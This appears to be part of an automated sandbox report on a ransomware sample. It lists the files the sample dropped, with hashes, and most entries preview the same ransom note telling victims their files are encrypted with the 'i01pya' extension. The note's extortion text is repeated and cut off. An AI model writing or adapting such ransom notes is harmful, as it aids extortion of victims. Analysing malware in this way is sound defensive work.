.n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Links\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Music\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Pictures\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Saved Games\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Videos\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\AccountPictures\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\Desktop\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\Documents\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\Downloads\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\Libraries\RecordedTV.library-ms
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1231
            Entropy (8bit):7.821940973764692
            Encrypted:false
            SSDEEP:24:kVke7Wgdcepl3t2tGnBJ68mRNjgX9bBu+hYhJlvuJTniqOsDPVtTDW:snxpjzr4RNsX9tuSYtvuJTniPsDPVtHW
            MD5:D3B689BCE5C365C3392C837286FB2830
            SHA1:4C5115295DD3E5B07C95813C1DC4255A3971FA70
            SHA-256:2F948AB2A95C1CA622C261433FD45F304CE3D14A90130AA989F0740AAE77D636
            SHA-512:5D75E3BB6717E101402BBA105207A95633C690421884AEE36E462744BDEA3429353080AF8EF0D5FEA3936FA5E7F93582B32E871983BB167F11CE4F88A8C1F7C7
            Malicious:false
            Preview: ..{w..6..X.fF...<z..J.N&8He]...HX...R.D%J.mA.I+.............f..B.y4.R.F..0v.....q$........../....M..#.f..P.!....gi}.+.5..Q.*...X.........K.p....@./....(B...n.~....u......qz...[b.:V^W...H8.....H..-.%%..:Y.b]...aJRi....#..I..V......89..j..7A=.}.COp..I....-.j..Jg..;V.0.8..:....J.&....3..m....r..LS.&.3..[;/.D.m.....V.\!0u]4..|..`Z......w..8....V}Q...n.-.&oq.M)]*.b..?.{.k[H.6:...<.ct..<A...n!.|=CW..P(.i...)JY.k.-i.3.up...`6...c'Csz......z..|. .jfd:.9J>w%5.S........`....-B.......4;.....pj<U.u....g..;.|.'..^.p[....G90.3...e..._V\..2.........\e...V..j,..K..u~.8...K.w....A.=RC....q....UF+.rN3...._,...]..Y..0=....t.\.;rT...N+3.+.tvS.G..z...E..X.g29.]s.zJ...C2...-..>$....^..j...bJ.......g;..........^..3....WIk..DF4f..M.v>($..4....g..yuz..[..E-4....... ..t..o> cx.,$.v......... ......Ar...$...O.f.l^.....Ok.....j.>~x.%oP..-.. .K.%Xg...}k.....I1.....lF..r...-........v.2k.}{.|0..^....u.d-.~(.mygyQ.c...1.M..o...5=-...Ea.P./...:W.....'%..I}....@...m#{...c
            C:\Users\Public\Libraries\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
